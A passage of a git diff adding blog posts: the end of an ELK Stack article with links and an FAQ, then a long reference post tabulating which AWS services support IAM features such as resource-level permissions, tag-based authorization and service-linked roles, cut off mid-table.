Configuration File](https://logz.io/blog/debug-logstash/) + +### Kibana + +* [Creating the Perfect Kibana Dashboard](https://logz.io/blog/perfect-kibana-dashboard/) +* [Creating Custom Kibana Visualizations](https://logz.io/blog/custom-kibana-visualizations/) +* [Kibana hacks: 5 Tips and Tricks](https://logz.io/blog/kibana-hacks/) +* [Getting Started with Advanced Kibana Searches](https://logz.io/blog/kibana-advanced/) + +#### **Frequently Asked Questions** + +#### What is the ELK Stack?? + +Up until a year or two ago, the ELK Stack was a collection of three open-source products: **Elasticsearch**, **Logstash**, and **Kibana** - all developed, managed and maintained by Elastic. The introduction and subsequent addition of Beats turned the stack into a four-legged project and led to a renaming of the stack as the Elastic Stack. + +#### What are Beats? + +Beats are a collection of open-source log shippers that act as agents installed on the different servers in your environment for collecting logs or metrics. Written in Go, these shippers were designed to be lightweight in nature — they leave a small installation footprint, are resource-efficient, and function with no dependencies. + +#### What is the ELK Stack used for?? + +The ELK Stack is most commonly used as a log analytics tool. Its popularity lies in the fact that it provides a reliable and relatively scalable way to aggregate data from multiple sources, store it and analyze it. As such, the stack is used for a variety of different use cases and purposes, ranging from development to monitoring, to security and compliance, to SEO and BI. diff --git a/_posts/01Cloud/01AWS/IAM/2020-07-18-IAM-Service.md b/_posts/01Cloud/01AWS/IAM/2020-07-18-IAM-Service.md new file mode 100644 index 00000000000..e2feebd3dcf --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/2020-07-18-IAM-Service.md @@ -0,0 +1,575 @@ +--- +title: AWS - IdenAccessManage - AWS services that work with IAM +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, IdenAccessManage] +tags: [AWS, IdenAccessManage] +toc: true +image: +--- + +- [AWS services that work with IAM](#aws-services-that-work-with-iam) + - [Compute services](#compute-services) + - [Containers services](#containers-services) + - [Storage services](#storage-services) + - [Database services](#database-services) + - [Developer tools services](#developer-tools-services) + - [Security, identity, and compliance services](#security-identity-and-compliance-services) + - [Cryptography and PKI services](#cryptography-and-pki-services) + - [Machine learning services](#machine-learning-services) + - [Management and governance services](#management-and-governance-services) + - [Migration and transfer services](#migration-and-transfer-services) + - [Mobile services](#mobile-services) + - [Networking and content delivery services](#networking-and-content-delivery-services) + - [Media services](#media-services) + - [Analytics services](#analytics-services) + - [Application integration services](#application-integration-services) + - [Business applications services](#business-applications-services) + - [Satellite services](#satellite-services) + - [Internet of Things services](#internet-of-things-services) + - [Robotics services](#robotics-services) + - [Quantum Computing Services](#quantum-computing-services) + - [Blockchain services](#blockchain-services) + - [Game development services](#game-development-services) + - [AR & VR services](#ar--vr-services) + - [Customer enablement services](#customer-enablement-services) + - [Customer engagement services](#customer-engagement-services) + - [End user computing services](#end-user-computing-services) + - [Additional resources](#additional-resources) + +--- + +# AWS services that work with IAM + +The AWS services listed below are grouped by their AWS product categories and include information about what IAM features they support: + +- **Service** + - choose the name of a service to view the AWS documentation about IAM authorization and access for that service. + +- **Actions** + - can specify individual actions in a policy. + - If the service does not support this feature, then **All actions** is selected in the visual editor + - In a JSON policy document, you must use `*` in the `Action` element. + +- **Resource-level permissions** + - can use ARNs to specify individual resources in the policy. + - If the service does not support this feature, then **All resources** is chosen in the policy visual editor + - In a JSON policy document, you must use `*` in the `Resource` element. + - Some actions, such as `List*` actions, do not support specifying an ARN because they are designed to return multiple resources. + - If a service supports this feature for some resources but not others, it is indicated by yellow cells in the table. See the documentation for that service for more information. + +- **Resource-based policies** + - can attach resource-based policies to a resource within the service. + - Resource-based policies include a `Principal` element to specify which IAM identities can access that resource. + +- **Authorization based on tags** + - can use [resource tags](https://docs.aws.amazon.com/awsconsolehelpdocs/latest/gsg/tag-editor.html) in the condition of a policy to control access to a resource in the service. + - You do this using the `aws:ResourceTag` global condition key or service-specific tags, such as `ec2:ResourceTag` + +- **Temporary credentials** + - can use short-term credentials that you obtain when you sign in using SSO, switch roles in the console, or that you generate using AWS STS in the AWS CLI or AWS API. + - You can access services with a **No** value only while using your long-term IAM user credentials. + - This includes a user name and password or your user access keys. + +- **Service-linked roles** + - A service-linked role is a special type of service role that gives the service permission to access resources in other services on your behalf. + - Choose the `Yes` link to see the documentation for services that support these roles. + - This column does not indicate if the service uses standard service roles. + +- **More information** + - If a service doesn't fully support a feature, you can review the footnotes for an entry to view the limitations and links to related information. + +--- + +## Compute services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[AWS Batch](https://docs.aws.amazon.com/batch/latest/userguide/IAM_policies.html) | Yes | [Partial](https://docs.aws.amazon.com/batch/latest/userguide/batch-supported-iam-actions-resources.html) | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/batch/latest/userguide/service_IAM_role.html) +[Amazon Elastic Compute Cloud (Amazon EC2)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UsingIAM.html) | Yes | Partial | No | [Partial](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html#tag-resources) | Yes | Partial¹ +[Amazon EC2 Auto Scaling](https://docs.aws.amazon.com/autoscaling/latest/userguide/control-access-using-iam.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/autoscaling/ec2/userguide/autoscaling-service-linked-role.html) +[EC2 Image Builder](https://docs.aws.amazon.com/imagebuilder/latest/userguide/security-iam.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/imagebuilder/latest/userguide/image-builder-service-linked-role.html) +[AWS Elastic Beanstalk](https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/AWSHowTo.iam.html) | Yes | Partial | No | [Yes](https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/AWSHowTo.iam.policies.access-tags.html) | Yes | [Yes](https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/using-service-linked-roles.html) +[Amazon Elastic Inference](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-inference.html) | Yes | Yes | No | No | Yes | No +[Elastic Load Balancing](https://docs.aws.amazon.com/elasticloadbalancing/latest/userguide/index.html?UsingIAM.html) | Yes | Partial | No | Partial | Yes | [Yes](https://docs.aws.amazon.com/elasticloadbalancing/latest/userguide/elb-service-linked-roles.html) +[AWS Lambda](https://docs.aws.amazon.com/lambda/latest/dg/lambda-auth-and-access-control.html) | Yes | Yes | [Yes](https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html) | No | Yes | [Partial²](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-permissions.html#using-service-linked-roles) +[Amazon Lightsail](https://lightsail.aws.amazon.com/ls/docs/all) | Yes | Yes | No | Yes | Yes | No +[AWS Outposts](https://docs.aws.amazon.com/outposts/latest/userguide/security.html) | Yes | No | No | No | Yes | [Yes](https://docs.aws.amazon.com/outposts/latest/userguide/using-service-linked-roles.html) +[AWS Serverless Application Repository](https://docs.aws.amazon.com/serverlessrepo/latest/devguide/serverlessrepo-auth-and-access-control.html) | Yes | Yes | Yes | No | Yes | No + +¹ Amazon EC2 service-linked roles cannot be created using the AWS Management Console, and can be used only for the following features: [Scheduled Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-scheduled-instances.html#service-linked-roles-scheduled-instances), [Spot Instance Requests](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-requests.html#service-linked-roles-spot-instance-requests), [Spot Fleet Requests](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-fleet-requests.html#service-linked-roles-spot-fleet-requests). + +² AWS Lambda doesn't have service-linked roles, but Lambda@Edge does. For more information, see [Service-Linked Roles for Lambda@Edge](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-permissions.html#using-service-linked-roles) in the Amazon CloudFront Developer Guide. + +--- + +## Containers services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Amazon Elastic Container Registry (Amazon ECR)](https://docs.aws.amazon.com/AmazonECR/latest/userguide/ECR_IAM_policies.html) | Yes | Yes | Yes | Yes | Yes | No +[Amazon Elastic Container Registry Public (Amazon ECR Public)](https://docs.aws.amazon.com/AmazonECR/latest/userguide/ECR_IAM_policies.html) | Yes | Yes | No | No | Yes | No +[Amazon Elastic Container Service (Amazon ECS)](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/IAM_policies.html) | Yes | Partial¹ | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/using-service-linked-roles.html) +[Amazon Elastic Kubernetes Service (Amazon EKS)](https://docs.aws.amazon.com/eks/latest/userguide/IAM_policies.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/eks/latest/userguide/using-service-linked-roles.html) + +¹ Only some Amazon ECS actions [support resource-level permissions](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-supported-iam-actions-resources.html). + +--- + +## Storage services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[AWS Backup](https://docs.aws.amazon.com/aws-backup/latest/devguide/security-considerations.html) | Yes | Yes | Yes | Yes | Yes | [Yes](https://docs.aws.amazon.com/aws-backup/latest/devguide/using-service-linked-roles.html) +[AWS Backup Storage](https://docs.aws.amazon.com/aws-backup/latest/devguide/security-considerations.html) | Yes | Yes | No | No | Yes | No +[Amazon Elastic Block Store (Amazon EBS)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) | Yes | Partial | No | Yes | Yes | No +[Amazon Elastic File System (Amazon EFS)](https://docs.aws.amazon.com/efs/latest/ug/auth-and-access-control.html) | Yes | Yes | Yes | Yes | Yes | [Yes](https://docs.aws.amazon.com/efs/latest/ug/using-service-linked-roles.html) +[Amazon FSx](https://docs.aws.amazon.com/fsx/latest/WindowsGuide/access-control-overview.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/fsx/latest/WindowsGuide/using-service-linked-roles.html) +[Amazon S3 Glacier](https://docs.aws.amazon.com/amazonglacier/latest/dev/auth-and-access-control.html) | Yes | Yes | Yes | Yes | Yes | No +[AWS Import/Export](https://docs.aws.amazon.com/AWSImportExport/latest/DG/using-iam.html) | Yes | No | No | No | Yes | No +[Amazon Simple Storage Service (Amazon S3)](https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html) | Yes | Yes | Yes | [Partial¹](https://docs.aws.amazon.com/AmazonS3/latest/dev/object-tagging.html) | Yes | [Partial²](https://docs.aws.amazon.com/AmazonS3/latest/dev/using-service-linked-roles.html) +[Amazon Simple Storage Service (Amazon S3) on AWS Outposts](https://docs.aws.amazon.com/AmazonS3/latest/dev/S3OutpostsIAM.html) | Yes | Yes | Yes | [Partial¹](https://docs.aws.amazon.com/AmazonS3/latest/dev/object-tagging.html) | Yes | No +[AWS Snowball](https://docs.aws.amazon.com/snowball/latest/ug/auth-access-control.html) | Yes | No | No | No | Yes | No +[AWS Snowball Edge](https://docs.aws.amazon.com/snowball/latest/developer-guide/authentication-and-access-control.html) | Yes | No | No | No | Yes | No +[AWS Storage Gateway](https://docs.aws.amazon.com/storagegateway/latest/userguide/UsingIAMWithStorageGateway.html) | Yes | Yes | No | Yes | Yes | No + +¹ Amazon S3 supports tag-based authorization for only object resources. + +² Amazon S3 supports service-linked roles for Amazon S3 Storage Lens. + +--- + +## Database services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Amazon DynamoDB](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/UsingIAMWithDDB.html) | Yes | Yes | No | No | Yes | [Yes](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/using-service-linked-roles.html) +[Amazon ElastiCache](https://docs.aws.amazon.com/AmazonElastiCache/latest/UserGuide/IAM.html) | Yes | Yes | No | No | Yes | [Yes](https://docs.aws.amazon.com/AmazonElastiCache/latest/red-ug/using-service-linked-roles.html) +[Amazon Keyspaces (for Apache Cassandra)](https://docs.aws.amazon.com/keyspaces/latest/devguide/security-iam.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/keyspaces/latest/devguide/Ousing-service-linked-roles.html) +[Amazon Neptune](https://docs.aws.amazon.com/neptune/latest/userguide/intro.html) | Yes | Yes | No | No | Yes | [Yes](https://docs.aws.amazon.com/neptune/latest/userguide/security-iam-service-linked-roles.html) +[Amazon Quantum Ledger Database (Amazon QLDB)](https://docs.aws.amazon.com/qldb/latest/developerguide/security-iam.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Redshift](https://docs.aws.amazon.com/redshift/latest/mgmt/redshift-iam-authentication-access-control.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/redshift/latest/mgmt/using-service-linked-roles.html) +[Amazon Redshift Data API](https://docs.aws.amazon.com/redshift/latest/mgmt/redshift-iam-authentication-access-control.html) | Yes | No | No | No | Yes | No +[Amazon Relational Database Service (Amazon RDS)](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAM.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAM.ServiceLinkedRoles.html) +[Amazon RDS Data API](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAM.html) | Yes | No | No | Yes | Yes | No +[Amazon SimpleDB](https://docs.aws.amazon.com/AmazonSimpleDB/latest/DeveloperGuide/UsingIAMWithSDB.html) | Yes | Yes | No | No | Yes | No +[Amazon Timestream](https://docs.aws.amazon.com/timestream/latest/developerguide/what-is-timestream.html) | Yes | Yes | No | Yes | Yes | No + +--- + +## Developer tools services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[AWS Cloud9](https://docs.aws.amazon.com/cloud9/latest/user-guide/auth-and-access-control.html) | Yes | Yes | Yes | Yes | Yes | [Yes](https://docs.aws.amazon.com/cloud9/latest/user-guide/using-service-linked-roles.html) +[AWS CloudShell](https://docs.aws.amazon.com/cloudshell/latest/userguide/welcome.html) | Yes | Yes | No | No | No | No +[AWS CodeArtifact](https://docs.aws.amazon.com/codeartifact/latest/ug/auth-and-access-control-iam-identity-based-access-control.html) | Yes | Yes | [Yes](https://docs.aws.amazon.com/codeartifact/latest/ug/repo-policies.html) | Yes | Yes | No +[CodeBuild](https://docs.aws.amazon.com/codebuild/latest/userguide/auth-and-access-control.html) | Yes | Yes | Yes¹ | Partial² | Yes | No +[CodeCommit](https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control.html) | Yes | Yes | No | Yes | Yes | No +[AWS CodeDeploy](https://docs.aws.amazon.com/codedeploy/latest/userguide/access-permissions.html) | Yes | Yes | No | Yes | Yes | No +[CodePipeline](https://docs.aws.amazon.com/codepipeline/latest/userguide/access-permissions.html) | Yes | Partial | No | Yes | Yes | No +[AWS CodeStar](https://docs.aws.amazon.com/codestar/latest/userguide/security-iam.html) | Yes | Partial¹ | No | Yes | Yes | No +[AWS CodeStar Connections](https://docs.aws.amazon.com/codepipeline/latest/userguide/connections-permissions.html) | Yes | Yes | No | Yes | Yes | No +[AWS CodeStar Notifications](https://docs.aws.amazon.com/codestar-notifications/latest/userguide/security.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/codestar-notifications/latest/userguide/using-service-linked-roles.html) +[AWS X-Ray](https://docs.aws.amazon.com/xray/latest/devguide/xray-permissions.html) | Yes | Yes | No | Partial³ | Yes | No + +¹ CodeBuild supports cross-account resource sharing using AWS RAM. + +² CodeBuild supports authorization based on tags for project-based actions. + +³ X-Ray supports tag-based access control for groups and sampling rules. + +--- + + +## Security, identity, and compliance services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[AWS Artifact](https://docs.aws.amazon.com/artifact/latest/ug/getting-started.html) | Yes | Yes | No | No | Yes | No +[AWS Audit Manager](https://docs.aws.amazon.com/audit-manager/latest/userguide/what-is.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/audit-manager/latest/userguide/using-service-linked-roles.html) +[Amazon Cognito](https://docs.aws.amazon.com/cognito/latest/developerguide/resource-permissions.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/cognito/latest/developerguide/using-service-linked-roles.html) +[Amazon Detective](https://docs.aws.amazon.com/detective/latest/adminguide/security-iam.html) | Yes | Yes | No | No | Yes | No +[AWS Directory Service](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/iam_policy.html) | Yes | Yes | No | Yes | Yes | No +[AWS Firewall Manager](https://docs.aws.amazon.com/waf/latest/developerguide/fms-auth-and-access-control.html) | Yes | Yes | No | Yes | Yes | [Partial](https://docs.aws.amazon.com/waf/latest/developerguide/fms-using-service-linked-roles.html) +[Amazon GuardDuty](https://docs.aws.amazon.com/guardduty/latest/ug/what-is-guardduty.html) | Yes | Yes | No | Yes | Yes | [Partial](https://docs.aws.amazon.com/guardduty/latest/ug/using-service-linked-roles.html) +[AWS Identity and Access Management (IAM)](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_permissions-required.html) | Yes | Yes | Partial¹ | Partial² | Partial³ | No +[IAM Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-access.html) | Yes | Yes | No | Yes | Yes +[Partial](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-using-service-linked-roles.html) +[Amazon Inspector](https://docs.aws.amazon.com/inspector/latest/userguide/inspector_introduction.html) | Yes | No | No | No | Yes | [Yes](https://docs.aws.amazon.com/inspector/latest/userguide/inspector_slr.html) +[Amazon Macie](https://docs.aws.amazon.com/macie/latest/user/identity-access-management.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/macie/latest/user/service-linked-roles.html) +[Amazon Macie Classic](https://docs.aws.amazon.com/macie/latest/userguide/macie-access-control.html) | Yes | No | No | No | Yes | [Yes](https://docs.aws.amazon.com/macie/latest/userguide/using-service-linked-roles.html) +[AWS Network Firewall](https://docs.aws.amazon.com/network-firewall/latest/developerguide/security-iam.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/network-firewall/latest/developerguide/using-service-linked-roles.html) +[AWS Resource Access Manager (AWS RAM)](https://docs.aws.amazon.com/ram/latest/userguide/control-access.html) | Yes | Yes | No | Yes | Yes | No +[AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access.html) | Yes | Yes | [Yes](https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_resource-based-policies.html) | Yes | Yes | No +[AWS Security Hub](https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-settingup.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/securityhub/latest/userguide/using-service-linked-roles.html) +[AWS Single Sign-On (AWS SSO)](https://docs.aws.amazon.com/singlesignon/latest/userguide/iam-auth-access.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/singlesignon/latest/userguide/using-service-linked-roles.html) +[AWS SSO Directory](https://docs.aws.amazon.com/singlesignon/latest/userguide/iam-auth-access.html) | Yes | No | No | No | Yes | No +[AWS SSO Identity Store](https://docs.aws.amazon.com/singlesignon/latest/userguide/iam-auth-access.html) | Yes | No | No | No | Yes | No +[AWS Security Token Service (AWS STS)](https://docs.aws.amazon.com/STS/latest/UsingSTS/TokenPermissions.html) | Yes | Partial⁴ | No | Yes | Partial⁵ | No +[AWS Shield Advanced](https://docs.aws.amazon.com/waf/latest/developerguide/shd-auth-and-access-control.html) | Yes | Yes | No | No | Yes | No +[AWS WAF](https://docs.aws.amazon.com/waf/latest/developerguide/waf-auth-and-access-control.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/waf/latest/developerguide/using-service-linked-roles.html) +[AWS WAF Classic](https://docs.aws.amazon.com/waf/latest/developerguide/classic-waf-auth-and-access-control.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/waf/latest/developerguide/classic-using-service-linked-roles.html) + +¹ IAM supports only one type of resource-based policy called a role _trust policy_, which is attached to an IAM role. For more information, see Granting a user permissions to switch roles . + +² IAM supports tag-based access control for most IAM resources. For more information, see Tagging IAM resources . + +³ Only some of the API actions for IAM can be called with temporary credentials. For more information, see [Comparing your API options](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html). + +⁴ AWS STS does not have "resources," but does allow restricting access in a similar way to users. For more information, see [Denying Access to Temporary Security Credentials by Name](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_control-access_disable-perms.html#denying-access-to-credentials-by-name). + +⁵ Only some of the API operations for AWS STS support calling with temporary credentials. For more information, see [Comparing your API options](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html). + +--- + +## Cryptography and PKI services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[AWS Certificate Manager Private Certificate Authority (ACM)](https://docs.aws.amazon.com/acm-pca/latest/userguide/auth-toplevel.html) | Yes | Yes | No | Yes | Yes | No +[AWS Certificate Manager (ACM)](https://docs.aws.amazon.com/acm/latest/userguide/authen-toplevel.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/acm/latest/userguide/acm-slr.html) +[AWS CloudHSM](https://docs.aws.amazon.com/cloudhsm/latest/userguide/prerequisites.html#permissions-for-cloudhsm) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/cloudhsm/latest/userguide/service-linked-roles.html) +[AWS Key Management Service (AWS KMS)](https://docs.aws.amazon.com/kms/latest/developerguide/control-access.html) | Yes | Yes | Yes | Yes | Yes | [Yes](https://docs.aws.amazon.com/kms/latest/developerguide/using-service-linked-roles.html) +[AWS Signer](https://docs.aws.amazon.com/signer/latest/developerguide/Welcome.html) | Yes | Yes | No | Yes | Yes | No + +--- + +## Machine learning services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Amazon CodeGuru](https://docs.aws.amazon.com/codeguru/latest/profiler-ug/welcome.html) | Yes | No | No | No | Yes | No +[Amazon CodeGuru Profiler](https://docs.aws.amazon.com/codeguru/latest/profiler-ug/security-iam.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/codeguru/latest/profiler-ug/using-service-linked-roles.html) +[Amazon CodeGuru Reviewer](https://docs.aws.amazon.com/codeguru/latest/reviewer-ug/welcome.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Comprehend](https://docs.aws.amazon.com/comprehend/latest/dg/auth-and-access-control.html) | Yes | Yes | No | Yes | Yes | No +[AWS DeepComposer](https://docs.aws.amazon.com/deepcomposer/latest/devguide/what-it-is.html) | Yes | Yes | No | Yes | Yes | No +[AWS DeepRacer](https://docs.aws.amazon.com/deepracer/latest/developerguide/deepracer-security.html) | Yes | No | No | No | Yes | [Yes](https://docs.aws.amazon.com/deepracer/latest/developerguide/deepracer-understand-required-permissions-and-iam-roles.html) +[AWS Panorama](https://docs.aws.amazon.com/panorama/latest/dev/panorama-welcome.html) | Yes | Yes | No | Yes | Yes | No +[Amazon DevOps Guru](https://docs.aws.amazon.com/devops-guru/latest/userguide/security-iam.html) | Yes | Yes | No | No | Yes | [Yes](https://docs.aws.amazon.com/devops-guru/latest/userguide/using-service-linked-roles.html) +[Amazon Forecast](https://docs.aws.amazon.com/forecast/latest/dg/authentication-and-access-control.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Fraud Detector](https://docs.aws.amazon.com/frauddetector/latest/ug/set-up.html#set-up-iam-admin) | Yes | Yes | No | Yes | Yes | No +[Ground Truth Labeling](https://docs.aws.amazon.com/sagemaker/latest/dg/sms.html) | Yes | No | No | No | Yes | No +[Amazon Kendra](https://docs.aws.amazon.com/kendra/latest/dg/security-iam.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Lex](https://docs.aws.amazon.com/lex/latest/dg/auth-and-access-control.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/lex/latest/dg/using-service-linked-roles.html) +[Amazon Lex V2](https://docs.aws.amazon.com/lexv2/latest/dg/what-is.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/lexv2/latest/dg/using-service-linked-roles.html) +[Amazon Lookout for Equipment](https://docs.aws.amazon.com/lookout-for-equipment/latest/ug/what-is.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Lookout for Vision](https://docs.aws.amazon.com/lookout-for-vision/latest/developer-guide/what-is.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Monitron](https://docs.aws.amazon.com/Monitron/latest/admin-guide/admin_what-is-monitron.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Machine Learning](https://docs.aws.amazon.com/machine-learning/latest/dg/reference.html#controlling-access-to-amazon-ml-resources-by-using-iam) | Yes | Yes | No | Yes | Yes | No +[Amazon Personalize](https://docs.aws.amazon.com/personalize/latest/dg/authentication-and-access-control.html) | Yes | Yes | No | No | Yes | No +[Amazon Polly](https://docs.aws.amazon.com/polly/latest/dg/authentication-and-access-control.html) | Yes | Yes | No | No | Yes | No +[Amazon Rekognition](https://docs.aws.amazon.com/rekognition/latest/dg/authentication-and-access-control.html) | Yes | Yes | No | No | Yes | No +[Amazon SageMaker](https://docs.aws.amazon.com/sagemaker/latest/dg/security-iam.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Textract](https://docs.aws.amazon.com/textract/latest/dg/authentication-and-access-control.html) | Yes | Yes | No | No | Yes | No +[Amazon Transcribe](https://docs.aws.amazon.com/transcribe/latest/dg/auth-and-access-control.html) | Yes | No | No | No | Yes | No +[Amazon Translate](https://docs.aws.amazon.com/translate/latest/dg/auth-and-access-control.html) | Yes | No | No | No | Yes | No + +--- + +## Management and governance services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Application Auto Scaling](https://docs.aws.amazon.com/autoscaling/application/userguide/auth-and-access-control.html) | Yes | No | No | No | Yes | [Yes](https://docs.aws.amazon.com/autoscaling/application/userguide/application-auto-scaling-service-linked-roles.html) +[AWS AppConfig](https://docs.aws.amazon.com/systems-manager/latest/userguide/appconfig-getting-started-permissions.html) | Yes | Yes | No | Yes | Yes | No +[AWS Auto Scaling](https://docs.aws.amazon.com/autoscaling/plans/userguide/auth-and-access-control.html) | Yes | No | No | No | Yes | [Yes](https://docs.aws.amazon.com/autoscaling/plans/userguide/aws-auto-scaling-service-linked-roles.html) +[AWS Chatbot](https://docs.aws.amazon.com/chatbot/latest/adminguide/security-iam.html) | Yes | Yes | No | No | Yes | [Yes](https://docs.aws.amazon.com/chatbot/latest/adminguide/using-service-linked-roles.html) +[AWS CloudFormation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-iam-template.html) | Yes | Yes | No | Yes | Yes | No +[AWS CloudTrail](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-access-control.html) | Yes | Yes | No | No | Yes | [Yes](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/using-service-linked-roles.html) +[Amazon CloudWatch](https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/UsingIAM.html) | Yes | Yes | No | Yes | Yes | [Partial](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/using-service-linked-roles.html)¹ +[Amazon CloudWatch Application Insights](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/appinsights-what-is.html) | Yes | No | No | No | Yes | No +[Amazon CloudWatch Events](https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/EventsPoliciesRolesAccessControl.html) | Yes | Yes | No | Yes | Yes | No +[Amazon CloudWatch Logs](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/auth-and-access-control-cwl.html) | Yes | Yes | Yes | No | Yes | [Yes](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/using-service-linked-roles-cwl.html) +[Amazon CloudWatch Synthetics](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Synthetics_Canaries.html) | Yes | Yes | No | No | Yes | No +[AWS Compute Optimizer](https://docs.aws.amazon.com/compute-optimizer/latest/ug/security-iam.html) | Yes | No | No | No | Yes | [Yes](https://docs.aws.amazon.com/compute-optimizer/latest/ug/using-service-linked-roles.html) +[AWS Config](https://docs.aws.amazon.com/config/latest/developerguide/recommended-iam-permissions-using-aws-config-console-cli.html) | Yes | Partial² | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/config/latest/developerguide/using-service-linked-roles.html) +[Amazon Data Lifecycle Manager](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/snapshot-lifecycle.html) | Yes | Yes | No | Yes | Yes | No +[AWS Health](https://docs.aws.amazon.com/health/latest/ug/controlling-access.html) | Yes | Yes | No | No | Yes | No +[AWS License Manager](https://docs.aws.amazon.com/license-manager/latest/userguide/identity-access-management.html) | Yes | Yes | No | Yes | Yes | 